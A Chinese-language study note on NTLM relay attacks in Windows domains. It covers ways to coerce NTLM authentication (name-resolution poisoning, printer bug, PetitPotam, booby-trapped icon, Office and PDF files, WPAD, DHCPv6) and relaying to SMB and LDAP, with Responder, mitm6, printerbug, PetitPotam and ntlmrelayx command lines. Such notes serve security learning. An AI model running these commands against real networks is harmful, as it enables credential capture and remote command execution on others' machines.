前言
仅仅是记录自己看《域内攻防指南》的体会&&理解,具体的知识学习建议看windows protocol
(✨)
✅:NTLM是不依赖于上层协议的!!!NTLM起到的就是认证,只认证Client的身份,不认证具体哪个协议对应的服务(SMB、LDAP……)。因为下层协议不care上层协议!!!计网封装的概念。
所以只要能中间人转发challenge+拿到client算的response,就能进行任意协议的封装!(只要上层协议(SMB、LDAP……)不开启签名,即不再次验证Client(NTLM那儿是第一次验证)即可)
0x01 NTLM Relay攻击原理
- 中间人攻击;
- NTLM是底层协议,内嵌于SMB,LDAP,HTTP等上层协议。
也就是我们在Client和Server之间,窃取Net-NTLM的typ3中的Net-NTLM Hash,然后relay到其它服务机器的其它协议。
看Client响应服务端的challenge的type3 response的wireshark包:
像Responder这些工具,能够拿到这个带有response的包后,算出Net-NTLM Hash
How?
这个有对应计算方法的:
https://daiker.gitbook.io/windows-protocol/ntlm-pian/4#id-0x03-net-ntlm-hash
这里的challenge是type2 服务器返回的challenge
HMAC-MD5对应数据包中的NTProofSt
本来之前对relay这步还有疑问:
怎么relay?
理解的核心在于封装的概念,以及对Net-NTLM本质作用(Client身份验证)的理解。
✅:NTLM是不依赖于上层协议的!!!NTLM起到的就是认证,只认证Client的身份,不认证具体哪个协议对应的服务(SMB、LDAP……)。因为下层协议不care上层协议!!!计网封装的概念。
所以只要能中间人转发challenge+拿到client算的response,就能进行任意协议的封装!(只要上层协议(SMB、LDAP……)不开启签名,即不再次验证Client(NTLM那儿是第一次验证)即可)
而开启签名就是认证了这个协议(比如SMB、LDAP)确实是由Client发起的。
所以NTLM Relay分为两步:
- 拿到Net-NTLM Hash(如何触发请求?如何捕获?)
- relay(如何relay?relay到哪儿?有无限制(签名)?)
0x02 捕获Net-NTLM Hash
如何捕获?
用神器 Responder.py
./Responder.py -i 中间人IP -wrfv
诱导Net-NTLM请求
1. LLMNR && NBNS
原理
域名解析投毒。
Windows系统名称解析顺序:
- 本地hosts文件
- DNS缓存/DNS服务器
- LLMNR && NBNS协议
LLMNR是多播,NBNS是广播,就给了中间人攻击的可乘之机。
触发方式
Clinet访问一个不存在的域名即可。
比如
\\nonexist
2. 打印机漏洞
原理
简单说说这个MS不修的"bug"。
Windows的打印机服务有一个特性:
任何经过身份认证的域成员,都可以连接任意一台远程服务器的打印服务spoolsv.exe,并请求一个新的打印作业进行更新,这种请求会让目标服务器将通知发送给指定的目标,然后目标服务器会立即测试该连接,也就是向指定目标进行身份认证。可以是Kerberos认证,也可以是NTLM认证。
所以我们就可以用打印机漏洞"强制"目标主机向我们的攻击机测试连接,从而拿到Net-NTLM Hash。
触发方式
printerbug.py:
python3 printerbug.py INTRANET/用户名:密码@目标服务器IP 攻击机IP
这个用户应该只要是拿到账密的域用户就行。
3. PetitPotam
当时弄非约束委派的打印机漏洞触发就换的是这个。(因为SpoolSample
基于NET3.5,好多机子不一定有对应环Frame)
大概记一下原理:
原理:
这个漏洞利用的是微软加密文件系统远程协议(MS-EFSRPC)的漏洞。
利用PetitPotam,可以通过连接到LSAPRC轻质触发目标机器向指定远程服务器发送Net-NTLM Hash(应该就是触发NTLM认证)。
由于这个洞是2021年的,应该很多版本都能打(虽然原版打印机漏洞更离谱,修都不修2333。。)
触发方式
用 Petitpotam.py:
python3 Petitpotam.py -d intranet.com -u win2008 -p 1q2w3eQWE 攻击机IP 目标机器IP
4. 图标
(最初学的时候真的被秀到了 orz。)
简单来说,图标中能用UNC路径远程访问/加载的都行。
- desktop.ini
- .scf后缀文件:包含IconFile属性,explorer.exe会尝试加载UNC
- ……
这个具体的可以看gitbook那篇,详细这里就不记录了。
5. 浏览器
同样的,支持UNC路径。
而且可以在HTML中嵌入标签,带UNC路径的跳转之类的。
(后面提到的WPAD投毒,劫持HTTP流量后就是这么触发NTLM请求的)
6. Outlook
微软的邮件服务Outlook支持发送HTML格式的邮件。
用户不用打开邮件,Outlook客户端就会自动向指定的UNC路径发起NTLM认证。
7. 系统命令
一大堆window的cmd也可以访问UNC路径。
8. Office
经典微软三件套,
在xxx.docx\word\_rels
目录的document.xml.rels
文件:
可以把插入图片的
Target="media/image1.png"
改为:
Target="\\IP\1.jpg" TargetMode="External"
9. PDF
PDF可以添加请求远程SMB服务器文件的功能。
3gstudent的WorsePDF脚本,
python2 WorsePDF.py test.pdf Attacker-IP
10. WPAD
这里介绍两个:最初的WPAD投毒 以及DHCPv6绕过MS16-077补丁的方式。
WPAD:Web代理自动发现协议。
这里有必要将这个协议具体写一下:
WPAD是用来查找PAC(Proxy Auto-Config)文件的协议。协议的功能是通过DHCP,DNS,LLMNR,NBNS等查找局域网中存放PAC文件的主机,然后通过主机的PAC文件指定代理服务器来访问互联网。
浏览器查询PAC文件的顺序:
- DHCP服务器
- 查询WPAD主机IP:(域名解析)
- 本地HOST
- DNS缓存/DNS服务器
- LLMRN,NBNS
PAC文件的格式:(这个也需要知道,后面二次投毒要用)
function FindProxyForUrl(url,host){
if(url=="http://www.baidu.com") return 'DIRECT';
if(host=="pixiv.com") return "SOCKS 127.0.0.1:7070";
if(dnsResolve(host)=="10.0.0.100") return "PROXY 127.0.0.1:8006;DIRECT";
return "DIRECT";
}
利用核心点:WPAD的发现/寻找/查询也是广播。。。(本质就是域名解析LLMNR&&NBNS投毒那一套)
(但这有个伏笔,第一步有一个DHCP的过程)
WPAD投毒
利用流程:
直接一个Responder就能搞定了:
./Responder.py -I eth0 -rPvw
WPAD投毒流程:(✨)
-
用户访问网页,会首先查询PAC文件的位置,查询的地址是WPAD/wpad.dat。如果本地hosts和DNS都找不到,就会使用NBNS协议发广播包,询问WPAD对应的IP。
-
攻击者用Responder投毒,响应NBNS请求,将WPAD的IP指向Responder自身所在的IP。(顺带伪造wpad.dat,内容后续步骤会说)
-
客户端请求WPAD/wpad.dat
-
攻击者伪造了wpad.dat(具体的可以抓包看HTTP GET请求)
核心就是把PROXY的域名改成一个解析不了的(hosts和DNS解析不了)
比如
ProxySrv
-
客户解析不了ProxySrv的IP,又发起LLMNR广播协议查询
-
Responder二次投毒,将ProxySrv也指向Responder自身的IP。
-
前面步骤后,Attacker就可以代理客户的所有HTTP流量了,只需要在HTTP流量中加入HTML请求,访问UNC路径,触发NTLM即可。甚至还可以打web端,拿cookie,钓鱼、诱导下载shell之类的。
MS16-077后的DHCPv6绕过
微软的补丁限制了两个点:
- 系统再也无法用广播协议来解析WPAD文件的位置,只能用DHCP或DNS协议。
- 更改了PAC文件的下载默认行为,当发起HTTP GET请求wpad.dat文件时,不会自动发送客户端凭据来响应NTLM协商身份验证质询。
可以看出来,第二个限制p用没有。。。本来我们就是劫持HTTP流量后再触发的NTLM 2333。。。
关键是怎么绕过第一个呢?
核心都是要找能广播/多播的中间人攻击,那么思路就来了:
IPv6的DHCPv6就是多播/组播(不分了:( )!
windows vista之后的所有机子都支持Ipv6,且优先级高于Ipv4。默认情况下,Windows系统的机子在开机、配置网络时会使用DHCPv6协议向组播地址[ff02::1:2]
发起请求。
那么Attacker就可以投毒,代替DHCP服务器为Client分配IP和DNS服务器。
那么IP分配在Attacker的网段,DNS服务器设为Attacker本身,后续利用就轻而易举了。(DNS服务器都有了,域名解析随便改。)
利用流程
有一个 mitm6
sudo mitm6 -i eth0 -d intranet.com
这样当目标机器重启 or 重配置网络的时候就能投毒了。
0x03 Net-NTLM Relay(How? To whom?)
1. relay to SMB
中继到SMB服务是最简单直接的方法,可以控制服务器执行任意命令。
Reflect(工作组)
工作组环境没办法relay到其它机子,因为之间没有信任关系,也验证不了身份(没有DC,密码都是存在本地的SAM文件)。
那么最直接的方式就是拿到Client的Net-NTLM Hash后relay到Client,也就是reflect。
微软MS08-068针对此弄了个补丁,弄了个(challenge,CIFS/B)的缓存,使得直接的reflect失效,
绕过
但这个缓存时限是300s。:)
CVE-2019-1384 Ghost Potato就是对应的绕过。(为什么隔了11年才发现呢🤔)
relay(域环境)
一般来说,域环境中,普通域用户可以relay SMB到域控外的所有机器。
因为默认只有域控是开启SMB签名的。
工具使用
工具都是监听后relay,第一步都需要对应的触发(用前面说的那么多种触发NTLM请求的方式)
impacket - smbrelayx.py
python3 smbrelayx.py -h 目标机器(relay2的目标) -c whoami
impacket - ntlmrelayx.py
python3 ntlmrelayx.py -t smb://目标IP -c whoami -smb2support
Responder - MultiRelay.py
./MultiRelay.py -t 目标IP -u ALL
relay2HTTP
典型的就是Exchange的EWS接口,以及ADCS的证书注册接口。
这种relay属于进阶的relay攻击了,后面学习了ADCS这些后再来补。
relay2LDAP
这才是最常用的。因为域跟AD,LDAP密切相关!
LDAP的默认策略是协商签名,也就是说是否签名由用户端决定。那就是不签名了。
核心就是relay2LDAP后,用writedacl权限修改ACL,拿DCSync之类的高权限 or 可作后门的权限。
比如配置约束委派/RBCD的权限。
2020.1开始,所有域控的LDAP都会强制开启LDAP签名,这样就缓解(避免?)了relay2LDAP到域控上(好像本来relay2LDAP就应该打域控,不然没用。。。AD在DC上)拿高权限的危险。
总结
Interesting Intranet~